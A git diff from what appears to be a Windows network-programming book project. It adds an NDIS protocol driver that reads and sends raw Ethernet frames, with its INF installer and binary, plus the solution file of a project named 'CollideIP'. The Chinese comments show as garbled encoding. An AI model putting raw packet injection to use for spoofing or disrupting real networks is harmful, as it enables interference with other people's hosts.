´ËÇý¶¯³ÌÐòµÄ¿ØÖÆÉ豸¶ÔÏóÖ¸Õë +} GLOBAL; + + + +typedef struct _INTERNAL_REQUEST +{ + PIRP pIrp; + NDIS_REQUEST Request; +} INTERNAL_REQUEST, *PINTERNAL_REQUEST; + +// ÿ¸öÊÊÅäÆ÷Ò²ÒªÓÐ×Ô¼ºµÄ˽ÓбäÁ¿¡£ÏÂÃæµÄOPEN_INSTANCE½á¹¹ÃèÊöÁË´ò¿ªµÄÊÊÅäÆ÷ +typedef struct _OPEN_INSTANCE +{ + // ¾²Ì¬Êý¾Ý + LIST_ENTRY AdapterListEntry; // ÓÃÓÚÁ¬½Óµ½ÆäËüNICÉ豸¶ÔÏ󣬼´Á¬½Óµ½È«¾ÖAdapterListÁбí + PDEVICE_OBJECT pDeviceObj; // ¹ØÁªµ½µÄÉ豸¶ÔÏóµÄÖ¸Õë + UNICODE_STRING ustrAdapterName; // ´ËÊÊÅäÆ÷µÄÃû³Æ + UNICODE_STRING ustrLinkName; // ´ËÊÊÅäÆ÷¶ÔÓ¦ÊÊÅäÆ÷¶ÔÏóµÄ·ûºÅÁ¬½ÓÃû³Æ + NDIS_HANDLE hAdapter; // ÊÊÅäÆ÷¾ä±ú + + // ״̬ÐÅÏ¢ + BOOLEAN bBound; // ÊÇ·ñ°ó¶¨ + NDIS_STATUS Status; // ״̬´úÂë + ULONG nIrpCount; // µ±Ç°Óû§ÔÚ´ËÊÊÅäÆ÷ÉϵÄIRPÇëÇóÊýÁ¿ + + // ·â°ü³Ø¾ä±ú + NDIS_HANDLE hPacketPool; + + // ½ÓÊÕÁбí + LIST_ENTRY RcvList; + KSPIN_LOCK RcvSpinLock; + // ÖØÆôÁбí + LIST_ENTRY ResetIrpList; + KSPIN_LOCK ResetQueueLock; + + // ͬ²½Ê¼þ + NDIS_EVENT BindEvent; + NDIS_EVENT CleanupEvent; + + NDIS_MEDIUM Medium; // ´ËÊÊÅäÆ÷µÄÀàÐÍ +} OPEN_INSTANCE, *POPEN_INSTANCE; + +typedef struct _PACKET_RESERVED +{ + LIST_ENTRY ListElement; // ½«¸÷¸ö·â°üÃèÊö±íÁ¬ÔÚÒ»Æð + PIRP pIrp; // ¼Ç¼´Ë·â°ü¶ÔÓ¦µÄδ¾öµÄIRPÇëÇó + PMDL pMdl; // ¼Ç¼Ϊ´Ë·â°üÉêÇëµÄMDL +} PACKET_RESERVED, *PPACKET_RESERVED; + + +#define ETHERNET_HEADER_LENGTH 14 +#define RESERVED(_p) ((PACKET_RESERVED*)((_p)->ProtocolReserved)) + + + +extern GLOBAL g_data; + + + +VOID + ProtocolBindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE BindContext, + IN PNDIS_STRING DeviceName, + IN PVOID SystemSpecific1, + IN PVOID SystemSpecific2 + ); +VOID + ProtocolUnbindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE UnbindContext + ); + + +// ×Ô¶¨Ò庯ÊýµÄÉùÃ÷ +NTSTATUS DispatchCreate(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS DispatchClose(PDEVICE_OBJECT pDevObj, PIRP pIrp); +void DriverUnload(PDRIVER_OBJECT pDriverObj); + +NTSTATUS DispatchRead(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS DispatchWrite(PDEVICE_OBJECT pDevObj, PIRP pIrp); + +void IoIncrement(OPEN_INSTANCE *pOpen); + + +void IoDecrement(OPEN_INSTANCE *pOpen); + +VOID +ProtocolTransferDataComplete ( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET pPacket, + IN NDIS_STATUS Status, + IN UINT BytesTransfered + ); + + +NDIS_STATUS +ProtocolReceive( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE MacReceiveContext, + IN PVOID HeaderBuffer, + IN UINT HeaderBufferSize, + IN PVOID LookAheadBuffer, + IN UINT LookaheadBufferSize, + IN UINT PacketSize + ); + +int ProtocolReceivePacket(NDIS_HANDLE ProtocolBindingContext, PNDIS_PACKET Packet); + +void CancelReadIrp(PDEVICE_OBJECT pDeviceObj); + +NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp); + +NTSTATUS +GetAdapterList( + IN PVOID Buffer, + IN ULONG Length, + IN OUT PULONG DataLength + ); + +VOID +PacketResetComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ); + +VOID + ProtocolUnbindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE UnbindContext + ); + +VOID + ProtocolOpenAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status, + IN NDIS_STATUS OpenErrorStatus + ); +VOID + ProtocolCloseAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ); + +VOID +ReadCancelRoutine ( + IN PDEVICE_OBJECT pDeviceObject, + IN PIRP pIrp + ); + +VOID +ProtocolSendComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET pPacket, + IN NDIS_STATUS Status + ); + +VOID +ProtocolResetComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ); + +VOID +ProtocolRequestComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_REQUEST NdisRequest, + IN NDIS_STATUS Status + ); + +VOID +PacketRequestComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_REQUEST NdisRequest, + IN NDIS_STATUS Status + ); + +NTSTATUS +DispatchCleanup( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP Irp + ); + +VOID +ProtocolReceiveComplete( + IN NDIS_HANDLE ProtocolBindingContext + ); + +VOID +ProtocolStatus( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status, + IN PVOID StatusBuffer, + IN UINT StatusBufferSize + ); + +VOID +ProtocolStatusComplete( + IN NDIS_HANDLE ProtocolBindingContext + ); + +NDIS_STATUS +ProtocolPNPHandler( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNET_PNP_EVENT NetPnPEvent + ); + +#endif // __NDISPROT_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/nuiouser.h" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/nuiouser.h" new file mode 100644 index 0000000..0c6661d --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/nuiouser.h" @@ -0,0 +1,38 @@ +/////////////////////////////////////////////// +// nuiouser.hÎļþ +// ·ÃÎÊProtoDrvÇý¶¯ÐèÒªµÄ³£Á¿ºÍÀàÐÍ£¬Óû§³ÌÐò±ØÐë°üº¬ + + + + +#ifndef __NUIOUSER_H__ +#define __NUIOUSER_H__ + + +#define MAX_LINK_NAME_LENGTH 124 + +// ÉèÖúͻñÈ¡ÊÊÅäÆ÷OIDÐÅÏ¢ËùÐèµÄ½á¹¹ +typedef struct _PROTOCOL_OID_DATA +{ + + ULONG Oid; + ULONG Length; + UCHAR Data[1]; + +} PROTOCOL_OID_DATA, *PPROTOCOL_OID_DATA; + + +#define FILE_DEVICE_PROTOCOL 0x8000 + +// 4¸öIOCTLµÄ¹¦ÄÜ·Ö±ðÊÇ£ºÉèÖÃÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬»ñÈ¡ÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬ÖØÖÃÊÊÅäÆ÷£¬Ã¶¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PROTOCOL_SET_OID CTL_CODE(FILE_DEVICE_PROTOCOL, \ + 0 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_QUERY_OID CTL_CODE(FILE_DEVICE_PROTOCOL, \ + 1 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_RESET CTL_CODE(FILE_DEVICE_PROTOCOL, \ + 2 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_ENUM_ADAPTERS CTL_CODE(FILE_DEVICE_PROTOCOL, \ + 3 , METHOD_BUFFERED, FILE_ANY_ACCESS) + + +#endif // __NUIOUSER_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/recv.cpp" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/recv.cpp" new file mode 100644 index 0000000..5d6534e --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/recv.cpp" @@ -0,0 +1,347 @@ +///////////////////////////////////////// +// recv.cppÎļþ +// NDISЭÒéÈë¿Úµã£¬´¦Àí½ÓÊÕÊý¾ÝµÄÀý³Ì + +extern "C" +{ + #include + #include +} + +#include "nuiouser.h" +#include "ndisprot.h" + + + +NTSTATUS DispatchRead(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + OPEN_INSTANCE *pOpen = (OPEN_INSTANCE *)pDevObj->DeviceExtension; + IoIncrement(pOpen); + do + { + if(!pOpen->bBound) + { + status = STATUS_DEVICE_NOT_READY; + break; + } + PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(pIrp); + if(irpSp->Parameters.Read.Length < ETHERNET_HEADER_LENGTH) + { + status = STATUS_BUFFER_TOO_SMALL; + break; + } + + // ÉêÇë·â°üÃèÊö±í£¬²¢³õʼ»¯ + PNDIS_PACKET pPacket; + NdisAllocatePacket((PNDIS_STATUS)&status, &pPacket, pOpen->hPacketPool); + if(status != NDIS_STATUS_SUCCESS) + { + status = STATUS_INSUFFICIENT_RESOURCES; + break; + } + RESERVED(pPacket)->pIrp = pIrp; + RESERVED(pPacket)->pMdl = NULL; + + // ±êʶµ±Ç°IRPÇëÇóδ¾ö£¬ÉèÖÃI/OÇëÇóÈ¡ÏûÀý³Ì + IoMarkIrpPending(pIrp); + IoSetCancelRoutine(pIrp, ReadCancelRoutine); + + // Ìí¼Óµ½·â°üÃèÊö±íÁбíÖÐ + ExInterlockedInsertTailList(&pOpen->RcvList, + &RESERVED(pPacket)->ListElement, &pOpen->RcvSpinLock); + + return STATUS_PENDING; + + }while(FALSE); + + if(status != STATUS_SUCCESS) + { + IoDecrement(pOpen); + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + } + return status; +} + +VOID +ReadCancelRoutine ( + IN PDEVICE_OBJECT pDeviceObject, + IN PIRP pIrp + ) +{ + POPEN_INSTANCE pOpen = (POPEN_INSTANCE)pDeviceObject->DeviceExtension; + NDIS_PACKET *pPacket = NULL; + + KIRQL oldIrql = pIrp->CancelIrql; + + KeAcquireSpinLockAtDpcLevel(&pOpen->RcvSpinLock); + + IoReleaseCancelSpinLock(KeGetCurrentIrql()); + + // ±éÀú·â°üÃèÊö±íÁÐ±í£¬²éÕÒ¶ÔÓ¦µÄ·â°üÖ¸Õ롣˫Á´ÁбíµÄ±íͷûÓÐʹÓ㬽ö×÷Ϊ¿ªÊ¼ºÍ½áÊø±ê¼Ç + PLIST_ENTRY pThisEntry = NULL; + PACKET_RESERVED *pReserved; + PLIST_ENTRY pHead = &pOpen->RcvList; + for(pThisEntry = pHead->Flink; pThisEntry != pHead; pThisEntry = pThisEntry->Flink) + { + pReserved = CONTAINING_RECORD(pThisEntry, PACKET_RESERVED, ListElement); + if(pReserved->pIrp == pIrp) + { + // ´ÓÁбíÖÐÒƳý´Ëδ¾öIrpµÄ·â°üÃèÊö±í + RemoveEntryList(pThisEntry); + pPacket = CONTAINING_RECORD(pReserved, NDIS_PACKET, ProtocolReserved); + break; + } + } + + KeReleaseSpinLock(&pOpen->RcvSpinLock, oldIrql); + + if(pPacket != NULL) + { + // ÊÍ·Å´Ë·â°üÃèÊö±íÕ¼ÓõÄÄÚ´æ + NdisFreePacket(pPacket); + // Íê³É´Ëδ¾öµÄIRPÇëÇó + pIrp->IoStatus.Status = STATUS_CANCELLED; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + IoDecrement(pOpen); + } +} + + +void CancelReadIrp(PDEVICE_OBJECT pDeviceObj) +{ + OPEN_INSTANCE *pOpen = (OPEN_INSTANCE *)pDeviceObj->DeviceExtension; + PLIST_ENTRY thisEntry; + PACKET_RESERVED *reserved; + PNDIS_PACKET myPacket; + PIRP pPendingIrp; + // ÒƳýËùÓÐδ¾öµÄ½ÓÊÕIRPÇëÇó£¬ÊͷŶÔÓ¦µÄ·â°üÃèÊö±í + while(thisEntry = ExInterlockedRemoveHeadList(&pOpen->RcvList, &pOpen->RcvSpinLock)) + { + reserved = CONTAINING_RECORD(thisEntry, PACKET_RESERVED, ListElement); + myPacket = CONTAINING_RECORD(reserved, NDIS_PACKET, ProtocolReserved); + pPendingIrp = RESERVED(myPacket)->pIrp; + + NdisFreePacket(myPacket); + + IoSetCancelRoutine(pPendingIrp, NULL); + + pPendingIrp->IoStatus.Information = 0; + pPendingIrp->IoStatus.Status = STATUS_CANCELLED; + + IoCompleteRequest(pPendingIrp, IO_NO_INCREMENT); + // ¼õС´ËÊÊÅäÆ÷ÉϵÄIOÒýÓüÆÊý + IoDecrement(pOpen); + } +} + + +NDIS_STATUS +ProtocolReceive( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE MacReceiveContext, + IN PVOID HeaderBuffer, + IN UINT HeaderBufferSize, + IN PVOID LookAheadBuffer, + IN UINT LookaheadBufferSize, + IN UINT PacketSize + ) +{ + OPEN_INSTANCE *pOpen = (OPEN_INSTANCE *)ProtocolBindingContext; + + if(HeaderBufferSize > ETHERNET_HEADER_LENGTH) + { + return NDIS_STATUS_SUCCESS; + } + + // ´Ó·â°üÃèÊö±íÁбíÖÐÈ¡³öÒ»¸öÃèÊö±í + PLIST_ENTRY pListEntry = ExInterlockedRemoveHeadList(&pOpen->RcvList, &pOpen->RcvSpinLock); + if(pListEntry == NULL) // ûÓÐδ¾öµÄ¶Á²Ù×÷ + { + return NDIS_STATUS_NOT_ACCEPTED; + } + + PACKET_RESERVED *pReserved = CONTAINING_RECORD(pListEntry, PACKET_RESERVED, ListElement); + NDIS_PACKET *pPacket = CONTAINING_RECORD(pReserved, NDIS_PACKET, ProtocolReserved); + PIRP pIrp = RESERVED(pPacket)->pIrp; + PIO_STACK_LOCATION pIrpSp = IoGetCurrentIrpStackLocation(pIrp); + + IoSetCancelRoutine(pIrp, NULL); + + + // ¸´ÖÆÒÔÌ«Í·µ½Êµ¼ÊµÄ¶Á»º³åÇø + NdisMoveMappedMemory(MmGetSystemAddressForMdlSafe(pIrp->MdlAddress, NormalPagePriority), + HeaderBuffer, HeaderBufferSize); + + + // ´«ÊäÒÔÌ«Í·ºóÃæµÄÊý¾Ýµ½¶Á»º³åÇø + + // ¶Á»º³åÇøÓàϲ¿·ÖµÄ³¤¶È + UINT nBufferLen = pIrpSp->Parameters.Read.Length - HeaderBufferSize; // ETHERNET_HEADER_LENGTH; + // ¼ÆËãʵ¼ÊÒª´«ÊäµÄ×Ö½Ú + UINT nSizeToTransfer = nBufferLen < LookaheadBufferSize ? nBufferLen : LookaheadBufferSize; + + // ÉêÇëÒ»¸öMDLÀ´Ó³Éä¶Á»º³åÇøÖÐÒÔÌ«Í·ÒÔºóµÄ²¿·Ö + NDIS_STATUS status; + PMDL pMdl = IoAllocateMdl(MmGetMdlVirtualAddress(pIrp->MdlAddress), + MmGetMdlByteCount(pIrp->MdlAddress), FALSE, FALSE, NULL); + if(pMdl == NULL) + { + status = NDIS_STATUS_RESOURCES; + goto ERROR; + } + + // ½¨Á¢´ËMDLʹËüÖ¸Ïò»º³åÇøÖÐÒÔÌ«Í·ºóÃæµÄ²¿·Ö + IoBuildPartialMdl( + pIrp->MdlAddress, + pMdl, + ((PUCHAR)MmGetMdlVirtualAddress(pIrp->MdlAddress)) + ETHERNET_HEADER_LENGTH, + 0 + ); + + // Çå³ýÐÂMDLÖеÄÏÂÒ»¸öÁ¬½Ó + pMdl->Next=NULL; + // ±£´æÕâ¸öÖ¸Õ룬ÒÔ±ãÔÚÊý¾Ý´«ÊäÍê±ÏºóÊÍ·Å´ËMDL + RESERVED(pPacket)->pMdl = pMdl; + + // ¸½¼ÓÎÒÃǵIJ¿·ÖMDLµ½·â°ü + NdisChainBufferAtFront(pPacket,pMdl); + + // µ÷ÓÃMacÀ´´«ÊäÕâ¸ö·â°ü + UINT nBytesTransfered; + NdisTransferData( + &status, + pOpen->hAdapter, + MacReceiveContext, + 0, + nSizeToTransfer, + pPacket, + &nBytesTransfered); + if(status == NDIS_STATUS_PENDING) + { + return NDIS_STATUS_SUCCESS; + } + +ERROR: + // Èç¹ûûÓÐδ¾ö£¬ÏÖÔھ͵÷ÓÃÍê³ÉÀý³Ì + ProtocolTransferDataComplete( + pOpen, + pPacket, + status, + nBytesTransfered); + return NDIS_STATUS_SUCCESS; +} + +VOID +ProtocolTransferDataComplete ( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET pPacket, + IN NDIS_STATUS Status, + IN UINT BytesTransfered + ) +{ + OPEN_INSTANCE *pOpen = (OPEN_INSTANCE *)ProtocolBindingContext; + PMDL pMdl = RESERVED(pPacket)->pMdl; + PIRP pIrp = RESERVED(pPacket)->pIrp; + + // Çå³ý×ÊÔ´ + if(pMdl != NULL) + IoFreeMdl(pMdl); + NdisFreePacket(pPacket); + + // Íê³É´Ëδ¾öµÄIRP + if(Status == NDIS_STATUS_SUCCESS) + { + pIrp->IoStatus.Status = STATUS_SUCCESS; + pIrp->IoStatus.Information = BytesTransfered + ETHERNET_HEADER_LENGTH; + } + else + { + pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL; + pIrp->IoStatus.Information = 0; + } + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + IoDecrement(pOpen); +} + + +VOID +ProtocolReceiveComplete( + IN NDIS_HANDLE ProtocolBindingContext + ) +{ +} + + + + + + + + +//////////////////////////////////// +/* + +int ProtocolReceivePacket(NDIS_HANDLE ProtocolBindingContext, PNDIS_PACKET Packet) +{ + DbgPrint("ProtocolReceivePacket \n"); + UINT nBufferLen; + OPEN_INSTANCE *pOpen = (OPEN_INSTANCE *)ProtocolBindingContext; + + // È¡³öÒ»¸öδ¾öµÄ¶ÁÇëÇó + PLIST_ENTRY pListEntry = ExInterlockedRemoveHeadList(&pOpen->RcvList, &pOpen->RcvSpinLock); + if(pListEntry == NULL) + { + return 0; + } + + PACKET_RESERVED *pReserved = CONTAINING_RECORD(pListEntry, PACKET_RESERVED, ListElement); + NDIS_PACKET *pPacket = CONTAINING_RECORD(pReserved, NDIS_PACKET, ProtocolReserved); + + PIRP pIrp = RESERVED(pPacket)->pIrp; + PIO_STACK_LOCATION pIrpSp = IoGetCurrentIrpStackLocation(pIrp); + + IoSetCancelRoutine(pIrp, NULL); + + NTSTATUS status = STATUS_SUCCESS; + + // ÏÂÃæÒªµ÷ÓõÄNdisCopyFromPacketToPacketº¯Êý²»¼ì²é·â°üÄÚ´æÊÇ·ñ¿ÉÓã¬ÎªÁË°²È«£¬ÎÒÃÇÒªÊ×Ïȼì²é + { + PNDIS_BUFFER firstBuffer, nextBuffer; + UINT totalLength; + PVOID virtualAddress; + // µÃµ½¸½¼Óµ½·â°üÖеĵÚÒ»¸ö»º³åÇø + NdisQueryPacket(pPacket, NULL, NULL, &firstBuffer, &totalLength); + while(firstBuffer != NULL) + { + // »ñÈ¡»º³åÇøµÄµØÖ· + NdisQueryBufferSafe(firstBuffer, &virtualAddress, &totalLength, NormalPagePriority); + if(virtualAddress == NULL) + { + status = STATUS_INSUFFICIENT_RESOURCES; + goto CleanExit; + } + NdisGetNextBuffer(firstBuffer, &nextBuffer); + firstBuffer = nextBuffer; + } + } + + // ¸½¼Ó¶Á»º³åÇøµÄMDLµ½·â°üÃèÊö±í + NdisChainBufferAtFront(pPacket, pIrp->MdlAddress); + // »º³åÇø´óС + nBufferLen = pIrpSp->Parameters.Read.Length; + + UINT nTransfered; + NdisCopyFromPacketToPacket(pPacket, 0, nBufferLen,Packet,0,&nTransfered); + + // Íê³ÉÇëÇó +CleanExit: + pIrp->IoStatus.Information = nTransfered; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + IoDecrement(pOpen); + return 0; +} +*/ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/send.cpp" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/send.cpp" new file mode 100644 index 0000000..ff3caa2 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/send.cpp" @@ -0,0 +1,103 @@ +/////////////////////////////////////////////// +// send.cppÎļþ +// NDISЭÒéÈë¿Ú£¬´¦Àí·¢ËÍÊý¾ÝµÄÀý³Ì + + +extern "C" +{ + #include + #include +} + +#include "nuiouser.h" +#include "ndisprot.h" + +NTSTATUS DispatchWrite(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status; + + // È¡µÃÃèÊöÊÊÅäÆ÷µÄOPEN_INSTANCE½á¹¹µÄÖ¸Õë + OPEN_INSTANCE *pOpen = (OPEN_INSTANCE *)pDevObj->DeviceExtension; + // Ôö¼ÓIOÒýÓüÆÊý + IoIncrement(pOpen); + do + { + if(!pOpen->bBound) + { + status = STATUS_DEVICE_NOT_READY; + break; + } + + // ´Ó·â°ü³ØÖÐÉêÇëÒ»¸ö·â°ü + PNDIS_PACKET pPacket; + NdisAllocatePacket((NDIS_STATUS*)&status, &pPacket, pOpen->hPacketPool); + if(status != NDIS_STATUS_SUCCESS) // ·â°ü±»ÉêÇëÍêÁË£¡ + { + status = STATUS_INSUFFICIENT_RESOURCES; + break; + } + + RESERVED(pPacket)->pIrp = pIrp; // ±£´æIRPÖ¸Õ룬ÔÚÍê³ÉÀý³ÌÖл¹ÒªÊ¹Óà + + // ¸½¼Óд»º³åÇøµ½·â°ü + NdisChainBufferAtFront(pPacket, pIrp->MdlAddress); + + // ×¢Ò⣬¼ÈÈ»ÎÒÃÇÒѾ­±êʶ´ËIRPδ¾ö£¬ÎÒÃDZØÐë·µ»ØSTATUS_PENDING£¬¼´±ãÊÇ + // ÎÒÃÇÇ¡ÇÉͬ²½Íê³ÉÁËÕâ¸öIRP + IoMarkIrpPending(pIrp); + + // ·¢ËÍ·â°üµ½Ï²ãNICÉ豸 + NdisSend((NDIS_STATUS*)&status, pOpen->hAdapter, pPacket); + if(status != NDIS_STATUS_PENDING) + { + ProtocolSendComplete(pOpen, pPacket, status); + } + return STATUS_PENDING; + }while(FALSE); + + if(status != STATUS_SUCCESS) + { + IoDecrement(pOpen); + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + } + return status; +} + + +VOID +ProtocolSendComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET pPacket, + IN NDIS_STATUS Status + ) +{ + OPEN_INSTANCE *pOpen = (OPEN_INSTANCE *)ProtocolBindingContext; + PIRP pIrp = RESERVED(pPacket)->pIrp; + PIO_STACK_LOCATION pIrpSp = IoGetCurrentIrpStackLocation(pIrp); + + // ÊÍ·Å·â°ü + NdisFreePacket(pPacket); + // Íê³ÉIRPÇëÇó + if(Status == NDIS_STATUS_SUCCESS) + { + pIrp->IoStatus.Information = pIrpSp->Parameters.Write.Length; + pIrp->IoStatus.Status = STATUS_SUCCESS; + + DbgPrint(" ProtoDrv: Send data success \n"); + } + else + { + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL; + } + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + IoDecrement(pOpen); +} + + + + + + diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\2548\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/install/ProtoDrv.sys" "b/Project/Network and Communication/\347\254\2548\347\253\240/install/ProtoDrv.sys" new file mode 100644 index 0000000..c95f553 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2548\347\253\240/install/ProtoDrv.sys" differ diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/install/_desktop.ini" "b/Project/Network and Communication/\347\254\2548\347\253\240/install/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/install/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/install/packet.inf" "b/Project/Network and Communication/\347\254\2548\347\253\240/install/packet.inf" new file mode 100644 index 0000000..032b2bd --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/install/packet.inf" @@ -0,0 +1,89 @@ +;------------------------------------------------------------------------- +; PACKET.INF -- Sample Protocol Driver +; +; Copyright (c) 1993-1999, Microsoft Corporation +;------------------------------------------------------------------------- +[version] +Signature = "$Windows NT$" +Class = NetTrans +ClassGUID = {4d36e975-e325-11ce-bfc1-08002be10318} +Provider = %Msft% +DriverVer = 06/16/2004,5.00.2064 + +[Manufacturer] +%Msft%=MSFT + +[MSFT] +%PACKET_Desc%=Install, MS_PACKET + +;------------------------------------------------------------------------- +; Installation Section +;------------------------------------------------------------------------- +[Install] +AddReg=Inst_Ndi +Characteristics=0 ; Has no characterstic +CopyFiles=CpyFiles_Sys + +;------------------------------------------------------------------------- +; Ndi installation support +;------------------------------------------------------------------------- +[Inst_Ndi] +HKR,Ndi,Service,,"Packet" +HKR,Ndi,HelpText,,%PACKET_HelpText% +HKR, Ndi\Interfaces, UpperRange,, noupper +HKR,"Ndi\Interfaces","LowerRange",,"ndis5,ndis4" + +;------------------------------------------------------------------------- +; Service installation support +;------------------------------------------------------------------------- +[Install.Services] +AddService=slNdisProt,,PACKET_Service_Inst ; <<===ÕâÀï + +[Packet_Service_Inst] +DisplayName = %PACKET_Desc% +ServiceType = 1 ;SERVICE_KERNEL_DRIVER +StartType = 3 ;SERVICE_DEMAND_START ; <<===ÕâÀï +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +ServiceBinary = %12%\ProtoDrv.sys ; <<===ÕâÀï +LoadOrderGroup = "PNP_TDI" +AddReg = AddReg_PACKET_Service_Inst +Description = %PACKET_Desc% + +[AddReg_PACKET_Service_Inst] +HKLM,"System\CurrentControlSet\Services\slNdisProt","TextModeFlags",%REG_DWORD%,0x0001 ; <<===ÕâÀï +HKR,"Parameters","Test",,"Hello" + +;------------------------------------------------------------------------- +; Support for removal of static registry settings +;------------------------------------------------------------------------- +[Install.Remove] +DelReg=Del_Static_Reg + +[Install.Remove.Services] +DelService = slNdisProt ; <<===ÕâÀï + +[Del_Static_Reg] +HKLM,"System\CurrentControlSet\Services\slNdisProt","TextModeFlags" ; <<===ÕâÀï + +;------------------------------------------------------------------------- +; Declare Destination Directories for file copy/deletion +;------------------------------------------------------------------------- +[DestinationDirs] +CpyFiles_Sys = 12 ; DIRID_DRIVERS + + +;------------------------------------------------------------------------- +; Files to Copy/Delete - Referenced by Install and Remove sections above +;------------------------------------------------------------------------- +[CpyFiles_Sys] +ProtoDrv.sys,,,2 ; <<===ÕâÀï + +[Strings] +Msft = "Microsoft" +PACKET_Desc = "DDK PACKET Protocol" +PACKET_HelpText = "A non-routable protocol designed for use in small LANs." +REG_DWORD = 0x10001 + + + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/CollideIP.sln" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/CollideIP.sln" new file mode 100644 index 0000000..6836d6a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/CollideIP.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CollideIP", "CollideIP.vcproj", "{BC984DFB-3469-4E85-8F13-9A8D688111D8}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {BC984DFB-3469-4E85-8F13-9A8D688111D8}.Debug|Win32.ActiveCfg = Debug|Win32 + {BC984DFB-3469-4E85-8F13-9A8D688111D8}.Debug|Win32.Build.0 = Debug|Win32 + {BC984DFB-3469-4E85-8F13-9A8D688111D8}.Release|Win32.ActiveCfg = Release|Win32 + {BC984DFB-3469-4E85-8F13-9A8D688111D8}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/CollideIP.suo" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/CollideIP.suo" new file mode 100644 index 0000000..50e3e4d Binary files /dev/null and "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/CollideIP.suo" differ diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/CollideIP.vcproj" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/CollideIP.vcproj" new file mode 100644 index 